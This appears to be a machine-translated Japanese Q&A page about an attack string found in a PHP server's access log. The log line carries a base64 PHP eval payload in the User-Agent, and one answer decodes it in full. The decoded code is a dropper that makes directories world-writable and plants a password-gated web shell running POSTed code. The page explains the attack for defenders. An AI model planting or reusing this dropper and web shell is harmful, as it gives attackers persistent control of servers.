web-dev-qa-db-ja.com

PHPアクセスログの攻撃文字列

そのため、私のサーバー上のInvision Power Boardインストールの1つが最近侵害されました。攻撃のように見えたものを見つけ（PHPを使用し、注意深く細工したCookieを使用）、クエリでPHPタグを使用してURL文字列をブロックしましたストリング。

ただし、実際のログと私のログの攻撃シグネチャは、テストの攻撃シグネチャと少し異なります。ユーザーエージェント文字列でPHP=を送信しているようです。これが何をしているのか理解するのを手伝ってくれる人はいますか？

また、PHPタグでユーザーエージェント文字列をブロックすると、これが修正されますか？

93.115.84.154 - - [12/Feb/2013:04:03:23 -0400] "GET / HTTP/1.0" 200 4186 "" "<?php eval(base64_decode(\"QGluaV9zZXQoJ2FsbG93X3VybF9mb3BlbicsIDEpOw0KDQphZGRMb2FkZXIoKTsNCiRkYXRhID0gQG9wZW5kaXIoJy4nKTsNCg0Kd2hpbGUgKCRmaWxlID0gQHJlYWRkaXIoJGRhdGEpKQ0Kew0KCSRmaWxlID0gdHJpbSgkZmlsZSk7DQoJaWYgKCEkZmlsZSB8fCBwcmVnX21hdGNoKCcvXlwuKyQvJywgJGZpbGUpIHx8ICFpc19kaXIoJGZpbGUpKSBjb250aW51ZTsNCglhZGRMb2FkZXIoJGZpbGUpOw0KfQ0KDQpAY2xvc2VkaXIoJGRhdGEpOw0KDQpmdW5jdGlvbiBhZGRMb2FkZXIoJGRpciA9ICcnKQ0Kew0KICAgIGlmICgkZGlyKSAkZGlyIC49ICcvJzsNCiAgICBAY2htb2QoJGRpciwgNzc3KTsNCiAgICBAc3lzdGVtKCJjaG1vZCA3NzcgJGRpciIpOw0KICAgIA0KICAgICRmcCA9IGZvcGVuKCJ7JGRpcn0yZTAzMGJhMzQ4ZWI0Nzg3N2I5OTQ5MzRkNDIwYzQ3NS5waHAiLCAidyIpOyANCiAgICBmd3JpdGUoJGZwLCBiYXNlNjRfZGVjb2RlKCdQRDl3YUhBTkNnMEtRR2x1YVY5elpYUW9KMkZzYkc5M1gzVnliRjltYjNCbGJpY3NJREVwT3cwS1FHbHVhVjl6WlhRb0oyUmxabUYxYkhSZmMyOWphMlYwWDNScGJXVnZkWFFuTENBMk1DazdEUXBBYVc1cFgzTmxkQ2duYldGNFgyVjRaV04xZEdsdmJsOTBhVzFsSnl3Z05qQXBPdzBLUUhObGRGOTBhVzFsWDJ4cGJXbDBLRFl3S1RzTkNnMEtKR1JoZEdFZ1BTQkFkVzV6WlhKcFlXeHBlbVVvWW1GelpUWTBYMlJsWTI5a1pTaDBjbWx0S0VBa1gxQlBVMVJiSjJSaGRHRW5YU2twS1RzTkNnMEthV1lnS0VBaGFYTmZZWEp5WVhrb0pHUmhkR0VwSUh4OElHMWtOU2drWkdGMFlWc25jR0Z6YzNkdmNtUW5YU2tnSVQwZ0oyUXpaR1kwTXpsak0yVTBZakpqTkRFNU1qQmtPR1V5TnpNek1URXpNak0ySnlrZ1pYaHBkRHNOQ21sbUlDaEFKR1JoZEdGYkoyTnZaR1VuWFNrZ1pYWmhiQ2hpWVhObE5qUmZaR1ZqYjJSbEtDUmtZWFJoV3lkamIyUmxKMTBwS1RzTkNtbG1JQ2hBSkdSaGRHRmJKMk5vWldOclgyTnZaR1VuWFNrZ2NISnBiblFnSkdSaGRHRmJKMk5vWldOclgyTnZaR1VuWFRzTkNnMEtQejQ9JykpOw0KCWZjbG9zZSgkZnApOw0KDQoJaWYgKGZpbGVfZXhpc3RzKCJ7JGRpcn0yZTAzMGJhMzQ4ZWI0Nzg3N2I5OTQ5MzRkNDIwYzQ3NS5waHAiKSkNCgl7DQogICAgICAgICRjayA9ICIxODIzNjQ5MzY1ODIwMzU0IjsNCgkgICAgcHJpbnQgIiRjazp7Kn06JGRpcjp7Kn06IjsNCgkJZXhpdDsNCgl9DQp9\")); ?>"
phpapache
18
Brandon Wamboldt

Thomasが指摘したように、この攻撃はログユーティリティの不十分なコンテンツ処理を悪用するように設計されています。ログのテキストを抽出してHTMLテンプレートに盲目的に配置する "log to HTML"エンジンは数多くあります。ユーザーがサーバーからHTMLページを要求すると、_<?php_タグがPHPエンジンによって解析され、コードが実行されます。多くのサーバーは_.html_ファイルをPHPで処理することを許可しているため、これは機能する可能性が十分あります。

ペイロードを見てみましょう。その攻撃文字列に表示されるbase64のブロックは、次のPHPスクリプトにデコードされます。

_@ini_set('allow_url_fopen', 1);

addLoader();
$data = @opendir('.');

while ($file = @readdir($data))
{
    $file = trim($file);
    if (!$file || preg_match('/^\.+$/', $file) || !is_dir($file)) continue;
    addLoader($file);
}

@closedir($data);

function addLoader($dir = '')
{
    if ($dir) $dir .= '/';
    @chmod($dir, 777);
    @system("chmod 777 $dir");

    $fp = fopen("{$dir}2e030ba348eb47877b994934d420c475.php", "w"); 
    fwrite($fp, base64_decode('PD9waHANCg0KQGluaV9zZXQoJ2FsbG93X3VybF9mb3BlbicsIDEpOw0KQGluaV9zZXQoJ2RlZmF1bHRfc29ja2V0X3RpbWVvdXQnLCA2MCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgNjApOw0KQHNldF90aW1lX2xpbWl0KDYwKTsNCg0KJGRhdGEgPSBAdW5zZXJpYWxpemUoYmFzZTY0X2RlY29kZSh0cmltKEAkX1BPU1RbJ2RhdGEnXSkpKTsNCg0KaWYgKEAhaXNfYXJyYXkoJGRhdGEpIHx8IG1kNSgkZGF0YVsncGFzc3dvcmQnXSkgIT0gJ2QzZGY0MzljM2U0YjJjNDE5MjBkOGUyNzMzMTEzMjM2JykgZXhpdDsNCmlmIChAJGRhdGFbJ2NvZGUnXSkgZXZhbChiYXNlNjRfZGVjb2RlKCRkYXRhWydjb2RlJ10pKTsNCmlmIChAJGRhdGFbJ2NoZWNrX2NvZGUnXSkgcHJpbnQgJGRhdGFbJ2NoZWNrX2NvZGUnXTsNCg0KPz4='));
    fclose($fp);

    if (file_exists("{$dir}2e030ba348eb47877b994934d420c475.php"))
    {
        $ck = "1823649365820354";
        print "$ck:{*}:$dir:{*}:";
        exit;
    }
}
_

これを少し分析してみましょう...

  1. _@ini_set_行は、fopen呼び出しでURLハンドラーを有効にするため、外部リソースをフェッチできます。 _@_接頭辞は、呼び出しが失敗した場合に発生する可能性のあるエラーを抑制します。
  2. addLoader()の呼び出しは、作業の主要な部分を実行します。これについては後ほど説明します。
  3. @opendir('.')は、現在のディレクトリへのハンドルを取得します。
  4. Whileループは、ディレクトリ内のすべてのサブディレクトリを実行し、それぞれに対してaddLoader($file)を呼び出します。正規表現を使用して_._および_.._エントリをスキップします。変数名に騙されないでください-これはファイルをループしません。
  5. 最後に@closedir($data)を呼び出します。片付けがいい！

しかし、addLoaderは何をしますか？基本的に、検出できるすべてのディレクトリをchmod 777で試行し、次に_2e030ba348eb47877b994934d420c475.php_と呼ばれるPHPファイルをbase64文字列から取得したコンテンツとともにダンプします。コードの最後のブロックは、おそらく自動化のためにマジックナンバーを使用して、攻撃者がどのパスに正常に書き込まれたかを特定できるようなメカニズムのようです。補足：オンラインで、または私が知っているハッシュデータベースで、ファイル名ハッシュへの参照を見つけることができません。

そのbase64を分析してみましょう：

_<?php

@ini_set('allow_url_fopen', 1);
@ini_set('default_socket_timeout', 60);
@ini_set('max_execution_time', 60);
@set_time_limit(60);

$data = @unserialize(base64_decode(trim(@$_POST['data'])));

if (@!is_array($data) || md5($data['password']) != 'd3df439c3e4b2c41920d8e2733113236') exit;
if (@$data['code']) eval(base64_decode($data['code']));
if (@$data['check_code']) print $data['check_code'];

?>
_

これは非常に簡単です。最初の数回の呼​​び出しでは、外部リソースを読み込んだり、スクリプトを最大60秒間実行したりできる寛容な環境をセットアップしようとします。 dataと呼ばれるPOSTパラメータを受け取り、それを配列に逆シリアル化し、パスワードがハードコーディングされたMD5ハッシュと一致することを確認します。いくつかのデータベースでこのハッシュを調べてみましたが、対応する平文が見つかりませんでした。パスワードが正しい場合は、次にcodeパラメータのチェックに進み、それが実行されます。また、_check_code_オプションもあります。これは、おそらくトランスポートのエンコードとデコードが実行された後にコードが正しく到着したことを確認するためのものです。

したがって、全体として、これは書き込み可能なサブディレクトリの場合に最大のカバレッジを確保しようとする配信ペイロードを備えた、かなり沼地標準のPHPシェルです。

25
Polynomial

攻撃者は、一部のHTMLに「現状のまま」のログの内容を含むWebベースのインターフェースを介してログファイルを調べ、サーバーがユーザーに含まれるPHPディレクティブを解釈するように導く-攻撃者によるエージェント。

最善の方法は、この特定の穴がある脆弱なlog-to-htmlインターフェースを使用しないことです。 Blocking＆coは、実際のバグが修正されるまで攻撃から迅速に回復するための一時的な手段でなければなりませんが、このバグが存在しない方がはるかに優れています。

6
Thomas Pornin